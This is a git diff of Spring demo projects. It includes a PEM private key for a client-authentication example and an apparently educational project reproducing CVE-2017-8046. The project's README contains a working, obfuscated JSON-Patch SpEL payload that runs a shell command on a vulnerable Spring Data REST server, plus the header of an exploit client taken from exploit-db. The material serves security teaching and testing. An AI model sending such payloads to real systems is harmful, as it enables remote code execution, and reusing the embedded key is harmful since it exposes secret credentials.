+p4dWcFM985/eU7bd0SNVVtb0DC+v1pNwiCgzIhEzmAp48N6/RxQXt9Vj9U1kKHl/
+b0ZNVlu6LZkBpWsNLGtpVQVcqQUv7SLNPBrumwW5QOYeBkDcUC/4KKfUmigQyIY2
+LzoW/M/8mQkfEhAIftCSshel33dEe70cZO6KBoBzcFpz4dW8GyEQH5ILIJNq4cl7
+okDE1ckwp1b3IZs2fDzu9AoyQwGG1XPomeMvS6rFX1wNzB92m7wThrPI8aEqcXDB
+htgl5JJZM3zwDNN5l7rWcnN0Gp0A0fKY/rfyuSR/mQJ2W2DkX2ISvvRHaNsVwpVb
+9Z1T0Dqa3RxgaGbgdc1AtTAAMzHWiPzCNtU=
+-----END CERTIFICATE-----
diff --git a/spring-rest-api-client-auth/ssl/server/serverPrivateKey.pem b/spring-rest-api-client-auth/ssl/server/serverPrivateKey.pem
new file mode 100644
index 0000000..e1dc9b7
--- /dev/null
+++ b/spring-rest-api-client-auth/ssl/server/serverPrivateKey.pem
@@ -0,0 +1,52 @@
+-----BEGIN PRIVATE KEY-----
+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
+6CmgTsmFiNPFJFK2Ooch/GiCKdQbKGc=
+-----END PRIVATE KEY-----
diff --git a/spring-rest-data-exploit/.gitignore b/spring-rest-data-exploit/.gitignore
new file mode 100644
index 0000000..82eca33
--- /dev/null
+++ b/spring-rest-data-exploit/.gitignore
@@ -0,0 +1,25 @@
+/target/
+!.mvn/wrapper/maven-wrapper.jar
+
+### STS ###
+.apt_generated
+.classpath
+.factorypath
+.project
+.settings
+.springBeans
+.sts4-cache
+
+### IntelliJ IDEA ###
+.idea
+*.iws
+*.iml
+*.ipr
+
+### NetBeans ###
+/nbproject/private/
+/build/
+/nbbuild/
+/dist/
+/nbdist/
+/.nb-gradle/
\ No newline at end of file
diff --git a/spring-rest-data-exploit/.mvn/wrapper/maven-wrapper.jar b/spring-rest-data-exploit/.mvn/wrapper/maven-wrapper.jar
new file mode 100644
index 0000000..01e6799
Binary files /dev/null and b/spring-rest-data-exploit/.mvn/wrapper/maven-wrapper.jar differ
diff --git a/spring-rest-data-exploit/.mvn/wrapper/maven-wrapper.properties b/spring-rest-data-exploit/.mvn/wrapper/maven-wrapper.properties
new file mode 100644
index 0000000..7179346
--- /dev/null
+++ b/spring-rest-data-exploit/.mvn/wrapper/maven-wrapper.properties
@@ -0,0 +1 @@
+distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.5.4/apache-maven-3.5.4-bin.zip
diff --git a/spring-rest-data-exploit/README.md b/spring-rest-data-exploit/README.md
new file mode 100644
index 0000000..fe8d1aa
--- /dev/null
+++ b/spring-rest-data-exploit/README.md
@@ -0,0 +1,42 @@
+## Example of CVE-2017-8046: RCE in PATCH requests in Spring Data REST
+Malicious PATCH requests submitted to servers using Spring Data REST backed HTTP
+resources can use specially crafted JSON data to run arbitrary Java code.
+
+### Affected Pivotal Products and Versions
+* Spring Data REST versions prior to 2.6.9 (Ingalls SR9), 3.0.1 (Kay SR1)
+* Spring Boot (if Spring Data REST module is used) versions prior to 1.5.9, 2.0 M6
+
+More info: https://pivotal.io/security/cve-2017-8046
+
+### How to test?
+#### Checkout this project
+
+#### Run Spring Boot application
+ It is a Spring Boot application with embedded Tomcat, so run the main class **SpringRestDataExploitExampleApplication**
+
+#### Add a new user
+To make a successful exploit test, run the following POST:
+```
+POST http://localhost:8080/users
+Content-Type: application/json
+
+{
+ "name": "Test",
+ "email": "test@test.com"
+}
+```
+#### Make exploit using PATCH:
+```
+PATCH http://localhost:8080/users/1
+Content-Type: application/json-patch+json
+
+[{
+ "op": "replace",
+ "path": "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec((T(java.lang.System).getProperty(\"os.name\").toLowerCase().contains(\"win\")?\"cmd \"+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+\"c \":\"\")+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(112)[0],T(java.lang.Character).toChars(99)[0],T(java.lang.Character).toChars(111)[0],T(java.lang.Character).toChars(110)[0],T(java.lang.Character).toChars(102)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(103)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x",
+ "value": "pwned"
+}]
+```
+The previous PATCH sends the result of the **ifconfig** command back from server to you.
+
+I have attached a more flexible client to make your own tests: the class SpringBreakCve20178046 with its own command line.
+Source code comes from https://www.exploit-db.com/exploits/44289.
\ No newline at end of file
diff --git a/spring-rest-data-exploit/mvnw b/spring-rest-data-exploit/mvnw
new file mode 100644
index 0000000..5551fde
--- /dev/null
+++ b/spring-rest-data-exploit/mvnw
@@ -0,0 +1,286 @@
+#!/bin/sh
+# ----------------------------------------------------------------------------
+# Licensed to the Apache Software Foundation (ASF) under one
+# or more contributor license agreements. See the NOTICE file
+# distributed with this work for additional information
+# regarding copyright ownership. The ASF licenses this file
+# to you under the Apache License, Version 2.0 (the
+# "License"); you may not use this file except in compliance
+# with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing,
+# software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+# KIND, either express or implied. See the License for the
+# specific language governing permissions and limitations
+# under the License.
+# ----------------------------------------------------------------------------
+
+# ----------------------------------------------------------------------------
+# Maven2 Start Up Batch script
+#
+# Required ENV vars:
+# ------------------
+# JAVA_HOME - location of a JDK home dir
+#
+# Optional ENV vars
+# -----------------
+# M2_HOME - location of maven2's installed home dir
+# MAVEN_OPTS - parameters passed to the Java VM when running Maven
+# e.g. to debug Maven itself, use
+# set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
+# MAVEN_SKIP_RC - flag to disable loading of mavenrc files
+# ----------------------------------------------------------------------------
+
+if [ -z "$MAVEN_SKIP_RC" ] ; then
+
+ if [ -f /etc/mavenrc ] ; then
+ . /etc/mavenrc
+ fi
+
+ if [ -f "$HOME/.mavenrc" ] ; then
+ . "$HOME/.mavenrc"
+ fi
+
+fi
+
+# OS specific support. $var _must_ be set to either true or false.
+cygwin=false;
+darwin=false;
+mingw=false
+case "`uname`" in
+ CYGWIN*) cygwin=true ;;
+ MINGW*) mingw=true;;
+ Darwin*) darwin=true
+ # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home
+ # See https://developer.apple.com/library/mac/qa/qa1170/_index.html
+ if [ -z "$JAVA_HOME" ]; then
+ if [ -x "/usr/libexec/java_home" ]; then
+ export JAVA_HOME="`/usr/libexec/java_home`"
+ else
+ export JAVA_HOME="/Library/Java/Home"
+ fi
+ fi
+ ;;
+esac
+
+if [ -z "$JAVA_HOME" ] ; then
+ if [ -r /etc/gentoo-release ] ; then
+ JAVA_HOME=`java-config --jre-home`
+ fi
+fi
+
+if [ -z "$M2_HOME" ] ; then
+ ## resolve links - $0 may be a link to maven's home
+ PRG="$0"
+
+ # need this for relative symlinks
+ while [ -h "$PRG" ] ; do
+ ls=`ls -ld "$PRG"`
+ link=`expr "$ls" : '.*-> \(.*\)$'`
+ if expr "$link" : '/.*' > /dev/null; then
+ PRG="$link"
+ else
+ PRG="`dirname "$PRG"`/$link"
+ fi
+ done
+
+ saveddir=`pwd`
+
+ M2_HOME=`dirname "$PRG"`/..
+
+ # make it fully qualified
+ M2_HOME=`cd "$M2_HOME" && pwd`
+
+ cd "$saveddir"
+ # echo Using m2 at $M2_HOME
+fi
+
+# For Cygwin, ensure paths are in UNIX format before anything is touched
+if $cygwin ; then
+ [ -n "$M2_HOME" ] &&
+ M2_HOME=`cygpath --unix "$M2_HOME"`
+ [ -n "$JAVA_HOME" ] &&
+ JAVA_HOME=`cygpath --unix "$JAVA_HOME"`
+ [ -n "$CLASSPATH" ] &&
+ CLASSPATH=`cygpath --path --unix "$CLASSPATH"`
+fi
+
+# For Mingw, ensure paths are in UNIX format before anything is touched
+if $mingw ; then
+ [ -n "$M2_HOME" ] &&
+ M2_HOME="`(cd "$M2_HOME"; pwd)`"
+ [ -n "$JAVA_HOME" ] &&
+ JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`"
+ # TODO classpath?
+fi
+
+if [ -z "$JAVA_HOME" ]; then
+ javaExecutable="`which javac`"
+ if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then
+ # readlink(1) is not available as standard on Solaris 10.
+ readLink=`which readlink`
+ if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then
+ if $darwin ; then
+ javaHome="`dirname \"$javaExecutable\"`"
+ javaExecutable="`cd \"$javaHome\" && pwd -P`/javac"
+ else
+ javaExecutable="`readlink -f \"$javaExecutable\"`"
+ fi
+ javaHome="`dirname \"$javaExecutable\"`"
+ javaHome=`expr "$javaHome" : '\(.*\)/bin'`
+ JAVA_HOME="$javaHome"
+ export JAVA_HOME
+ fi
+ fi
+fi
+
+if [ -z "$JAVACMD" ] ; then
+ if [ -n "$JAVA_HOME" ] ; then
+ if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
+ # IBM's JDK on AIX uses strange locations for the executables
+ JAVACMD="$JAVA_HOME/jre/sh/java"
+ else
+ JAVACMD="$JAVA_HOME/bin/java"
+ fi
+ else
+ JAVACMD="`which java`"
+ fi
+fi
+
+if [ ! -x "$JAVACMD" ] ; then
+ echo "Error: JAVA_HOME is not defined correctly." >&2
+ echo " We cannot execute $JAVACMD" >&2
+ exit 1
+fi
+
+if [ -z "$JAVA_HOME" ] ; then
+ echo "Warning: JAVA_HOME environment variable is not set."
+fi
+
+CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher
+
+# traverses directory structure from process work directory to filesystem root
+# first directory with .mvn subdirectory is considered project base directory
+find_maven_basedir() {
+
+ if [ -z "$1" ]
+ then
+ echo "Path not specified to find_maven_basedir"
+ return 1
+ fi
+
+ basedir="$1"
+ wdir="$1"
+ while [ "$wdir" != '/' ] ; do
+ if [ -d "$wdir"/.mvn ] ; then
+ basedir=$wdir
+ break
+ fi
+ # workaround for JBEAP-8937 (on Solaris 10/Sparc)
+ if [ -d "${wdir}" ]; then
+ wdir=`cd "$wdir/.."; pwd`
+ fi
+ # end of workaround
+ done
+ echo "${basedir}"
+}
+
+# concatenates all lines of a file
+concat_lines() {
+ if [ -f "$1" ]; then
+ echo "$(tr -s '\n' ' ' < "$1")"
+ fi
+}
+
+BASE_DIR=`find_maven_basedir "$(pwd)"`
+if [ -z "$BASE_DIR" ]; then
+ exit 1;
+fi
+
+##########################################################################################
+# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
+# This allows using the maven wrapper in projects that prohibit checking in binary data.
+##########################################################################################
+if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo "Found .mvn/wrapper/maven-wrapper.jar"
+ fi
+else
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..."
+ fi
+ jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar"
+ while IFS="=" read key value; do
+ case "$key" in (wrapperUrl) jarUrl="$value"; break ;;
+ esac
+ done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties"
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo "Downloading from: $jarUrl"
+ fi
+ wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar"
+
+ if command -v wget > /dev/null; then
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo "Found wget ... using wget"
+ fi
+ wget "$jarUrl" -O "$wrapperJarPath"
+ elif command -v curl > /dev/null; then
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo "Found curl ... using curl"
+ fi
+ curl -o "$wrapperJarPath" "$jarUrl"
+ else
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo "Falling back to using Java to download"
+ fi
+ javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java"
+ if [ -e "$javaClass" ]; then
+ if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo " - Compiling MavenWrapperDownloader.java ..."
+ fi
+ # Compiling the Java class
+ ("$JAVA_HOME/bin/javac" "$javaClass")
+ fi
+ if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
+ # Running the downloader
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo " - Running MavenWrapperDownloader.java ..."
+ fi
+ ("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR")
+ fi
+ fi
+ fi
+fi
+##########################################################################################
+# End of extension
+##########################################################################################
+
+export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"}
+if [ "$MVNW_VERBOSE" = true ]; then
+ echo $MAVEN_PROJECTBASEDIR
+fi
+MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS"
+
+# For Cygwin, switch paths to Windows format before running java
+if $cygwin; then
+ [ -n "$M2_HOME" ] &&
+ M2_HOME=`cygpath --path --windows "$M2_HOME"`
+ [ -n "$JAVA_HOME" ] &&
+ JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"`
+ [ -n "$CLASSPATH" ] &&
+ CLASSPATH=`cygpath --path --windows "$CLASSPATH"`
+ [ -n "$MAVEN_PROJECTBASEDIR" ] &&
+ MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"`
+fi
+
+WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
+
+exec "$JAVACMD" \
+ $MAVEN_OPTS \
+ -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \
+ "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \
+ ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@"
diff --git a/spring-rest-data-exploit/mvnw.cmd b/spring-rest-data-exploit/mvnw.cmd
new file mode 100644
index 0000000..e5cfb0a
--- /dev/null
+++ b/spring-rest-data-exploit/mvnw.cmd
@@ -0,0 +1,161 @@
+@REM ----------------------------------------------------------------------------
+@REM Licensed to the Apache Software Foundation (ASF) under one
+@REM or more contributor license agreements. See the NOTICE file
+@REM distributed with this work for additional information
+@REM regarding copyright ownership. The ASF licenses this file
+@REM to you under the Apache License, Version 2.0 (the
+@REM "License"); you may not use this file except in compliance
+@REM with the License. You may obtain a copy of the License at
+@REM
+@REM http://www.apache.org/licenses/LICENSE-2.0
+@REM
+@REM Unless required by applicable law or agreed to in writing,
+@REM software distributed under the License is distributed on an
+@REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+@REM KIND, either express or implied. See the License for the
+@REM specific language governing permissions and limitations
+@REM under the License.
+@REM ----------------------------------------------------------------------------
+
+@REM ----------------------------------------------------------------------------
+@REM Maven2 Start Up Batch script
+@REM
+@REM Required ENV vars:
+@REM JAVA_HOME - location of a JDK home dir
+@REM
+@REM Optional ENV vars
+@REM M2_HOME - location of maven2's installed home dir
+@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands
+@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending
+@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven
+@REM e.g. to debug Maven itself, use
+@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
+@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files
+@REM ----------------------------------------------------------------------------
+
+@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'
+@echo off
+@REM set title of command window
+title %0
+@REM enable echoing my setting MAVEN_BATCH_ECHO to 'on'
+@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO%
+
+@REM set %HOME% to equivalent of $HOME
+if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%")
+
+@REM Execute a user defined script before this one
+if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre
+@REM check for pre script, once with legacy .bat ending and once with .cmd ending
+if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat"
+if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd"
+:skipRcPre
+
+@setlocal
+
+set ERROR_CODE=0
+
+@REM To isolate internal variables from possible post scripts, we use another setlocal
+@setlocal
+
+@REM ==== START VALIDATION ====
+if not "%JAVA_HOME%" == "" goto OkJHome
+
+echo.
+echo Error: JAVA_HOME not found in your environment. >&2
+echo Please set the JAVA_HOME variable in your environment to match the >&2
+echo location of your Java installation. >&2
+echo.
+goto error
+
+:OkJHome
+if exist "%JAVA_HOME%\bin\java.exe" goto init
+
+echo.
+echo Error: JAVA_HOME is set to an invalid directory. >&2
+echo JAVA_HOME = "%JAVA_HOME%" >&2
+echo Please set the JAVA_HOME variable in your environment to match the >&2
+echo location of your Java installation. >&2
+echo.
+goto error
+
+@REM ==== END VALIDATION ====
+
+:init
+
+@REM Find the project base dir, i.e. the directory that contains the folder ".mvn".
+@REM Fallback to current working directory if not found.
+
+set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%
+IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir
+
+set EXEC_DIR=%CD%
+set WDIR=%EXEC_DIR%
+:findBaseDir
+IF EXIST "%WDIR%"\.mvn goto baseDirFound
+cd ..
+IF "%WDIR%"=="%CD%" goto baseDirNotFound
+set WDIR=%CD%
+goto findBaseDir
+
+:baseDirFound
+set MAVEN_PROJECTBASEDIR=%WDIR%
+cd "%EXEC_DIR%"
+goto endDetectBaseDir
+
+:baseDirNotFound
+set MAVEN_PROJECTBASEDIR=%EXEC_DIR%
+cd "%EXEC_DIR%"
+
+:endDetectBaseDir
+
+IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig
+
+@setlocal EnableExtensions EnableDelayedExpansion
+for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a
+@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%
+
+:endReadAdditionalConfig
+
+SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe"
+set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar"
+set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
+
+set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar"
+FOR /F "tokens=1,2 delims==" %%A IN (%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties) DO (
+ IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B
+)
+
+@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
+@REM This allows using the maven wrapper in projects that prohibit checking in binary data.
+if exist %WRAPPER_JAR% (
+ echo Found %WRAPPER_JAR%
+) else (
+ echo Couldn't find %WRAPPER_JAR%, downloading it ...
+ echo Downloading from: %DOWNLOAD_URL%
+ powershell -Command "(New-Object Net.WebClient).DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"
+ echo Finished downloading %WRAPPER_JAR%
+)
+@REM End of extension
+
+%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*
+if ERRORLEVEL 1 goto error
+goto end
+
+:error
+set ERROR_CODE=1
+
+:end
+@endlocal & set ERROR_CODE=%ERROR_CODE%
+
+if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost
+@REM check for post script, once with legacy .bat ending and once with .cmd ending
+if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat"
+if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd"
+:skipRcPost
+
+@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'
+if "%MAVEN_BATCH_PAUSE%" == "on" pause
+
+if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE%
+
+exit /B %ERROR_CODE%
diff --git a/spring-rest-data-exploit/pom.xml b/spring-rest-data-exploit/pom.xml
new file mode 100644
index 0000000..133b976
--- /dev/null
+++ b/spring-rest-data-exploit/pom.xml
@@ -0,0 +1,107 @@
+
+
+ 4.0.0
+
+ com.pavelsklenar
+ spring-rest-data-exploit-example
+ 0.0.1-SNAPSHOT
+ jar
+
+ spring-rest-data-exploit-example
+ Demo project for Spring Boot
+
+
+ org.springframework.boot
+ spring-boot-starter-parent
+ 1.4.0.RELEASE
+
+
+
+
+ UTF-8
+ UTF-8
+ 1.8
+
+
+
+
+ org.springframework.boot
+ spring-boot-starter-data-rest
+
+
+ org.springframework.boot
+ spring-boot-starter-data-jpa
+
+
+ com.h2database
+ h2
+
+
+
+ org.springframework.boot
+ spring-boot-starter-test
+ test
+
+
+ org.apache.httpcomponents
+ httpcore
+
+
+ org.apache.httpcomponents
+ httpclient
+
+
+
+
+ javax.xml.bind
+ jaxb-api
+ 2.2.11
+
+
+ com.sun.xml.bind
+ jaxb-core
+ 2.2.11
+
+
+ com.sun.xml.bind
+ jaxb-impl
+ 2.2.11
+
+
+ javax.activation
+ activation
+ 1.1.1
+
+
+
+
+
+
+
+ org.springframework.boot
+ spring-boot-maven-plugin
+
+
+
+ repackage
+
+
+ com.pavelsklenar.spring.exploit.example.SpringRestDataExploitExampleApplication
+
+
+
+
+
+ org.apache.maven.plugins
+ maven-surefire-plugin
+ 2.22.2
+
+ false
+
+
+
+
+
+
+
diff --git a/spring-rest-data-exploit/src/main/java/com/pavelsklenar/spring/exploit/example/SpringBreakCve20178046.java b/spring-rest-data-exploit/src/main/java/com/pavelsklenar/spring/exploit/example/SpringBreakCve20178046.java
new file mode 100644
index 0000000..d651edb
--- /dev/null
+++ b/spring-rest-data-exploit/src/main/java/com/pavelsklenar/spring/exploit/example/SpringBreakCve20178046.java
@@ -0,0 +1,452 @@
+// Exploit Title: RCE in PATCH requests in Spring Data REST
+// Date: 2018-03-10
+// Exploit Author: Antonio Francesco Sardella
+// Vendor Homepage: https://pivotal.io/
+// Software Link: https://projects.spring.io/spring-data-rest/
+// Version: Spring Data REST versions prior to 2.6.9 (Ingalls SR9), 3.0.1 (Kay SR1)
+// Tested on: 'Microsoft Windows 7' and 'Xubuntu 17.10.1' with 'spring-boot-starter-data-rest' version '1.5.6.RELEASE'
+// CVE: CVE-2017-8046
+// Category: Webapps
+// Repository: https://github.com/m3ssap0/spring-break_cve-2017-8046
+// Example Vulnerable Application: https://github.com/m3ssap0/SpringBreakVulnerableApp
+// Vulnerability discovered and reported by: Man Yue Mo from Semmle and lgtm.com
+
